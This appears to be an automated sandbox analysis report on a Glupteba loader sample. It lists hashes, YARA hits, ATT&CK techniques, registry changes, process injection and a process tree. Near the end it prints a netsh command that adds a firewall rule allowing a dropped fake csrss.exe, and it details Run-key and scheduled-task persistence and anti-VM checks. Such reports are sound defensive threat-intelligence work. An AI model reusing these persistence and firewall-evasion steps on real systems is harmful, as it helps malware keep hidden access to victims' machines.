glupteba | 886058a7a36e3085dcd318d75b24c6d0576f57ab5a3045a231986475659802a9

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2024 23:40

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General

Target

3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Size

3.6MB
MD5

3250ddce2dbf5a36ae50744e6632f945
SHA1

2e4e648fb1a583fe3d26ded76d017507e6cb1576
SHA256

886058a7a36e3085dcd318d75b24c6d0576f57ab5a3045a231986475659802a9
SHA512

ba1a82ced81d6ca0ee5b8d875ba6bd4d3933466acfd0463c53201cd749455940dcbc4db55adfbbf3d3945628af6511dedf8f1062b57078bc01d7c786ddef2060
SSDEEP

98304:Oc5F4rEVf9i9fJ5TG/dCfAeO2oopuZPpSfzDYz59r:Ow4ozCf7KdCfAdZPpiU59r

Score

10^/10

glupteba discovery dropper evasion loader persistence privilege_escalation rootkit upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 36 IoCs

resource	yara_rule
behavioral2/memory/1780-10-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/1780-9-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/1780-11-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/1780-7-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/1780-8-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/1780-6-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/1780-12-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/1780-13-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4360-24-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4360-26-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4360-25-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4360-23-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4360-27-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4360-38-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-46-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-47-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-45-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-48-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-44-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-50-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-49-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-51-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-52-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-56-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-57-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-58-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-59-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-60-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-61-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-62-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-63-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-64-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-65-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-66-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-68-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/956-69-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2264	netsh.exe
4712	netsh.exe

Executes dropped EXE 3 IoCs

pid	Process
2708	csrss.exe
956	csrss.exe
3628	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShySmoke = "\"C:\\Windows\\rss\\csrss.exe\""	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
3988	bcdedit.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5100 set thread context of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 4216 set thread context of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 2708 set thread context of 956	2708	csrss.exe	99

UPX packed file 38 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1780-10-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-9-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-11-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-7-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-5-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-8-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-6-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-3-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-12-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/1780-13-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4360-24-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4360-26-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4360-25-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4360-23-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4360-27-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4360-38-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-46-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-47-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-45-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-48-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-44-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-50-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-49-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-51-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-52-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-56-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-57-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-58-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-59-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-60-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-61-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-62-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-63-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-64-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-65-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-66-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-68-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/956-69-0x0000000000400000-0x0000000000B27000-memory.dmp	upx

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
File created	C:\Windows\rss\csrss.exe	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1136	schtasks.exe
2388	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1780	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
1780	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
956	csrss.exe
956	csrss.exe
956	csrss.exe
956	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Token: SeImpersonatePrivilege	1780	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	956	csrss.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 5100 wrote to memory of 1780	5100	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	86
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4216 wrote to memory of 4360	4216	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	91
PID 4360 wrote to memory of 3428	4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	92
PID 4360 wrote to memory of 3428	4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	92
PID 3428 wrote to memory of 2264	3428	cmd.exe	94
PID 3428 wrote to memory of 2264	3428	cmd.exe	94
PID 4360 wrote to memory of 4528	4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	95
PID 4360 wrote to memory of 4528	4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	95
PID 4528 wrote to memory of 4712	4528	cmd.exe	97
PID 4528 wrote to memory of 4712	4528	cmd.exe	97
PID 4360 wrote to memory of 2708	4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	98
PID 4360 wrote to memory of 2708	4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	98
PID 4360 wrote to memory of 2708	4360	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	98
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 2708 wrote to memory of 956	2708	csrss.exe	99
PID 956 wrote to memory of 3988	956	csrss.exe	105
PID 956 wrote to memory of 3988	956	csrss.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1780
- - C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
      4⤵
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4360
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3428
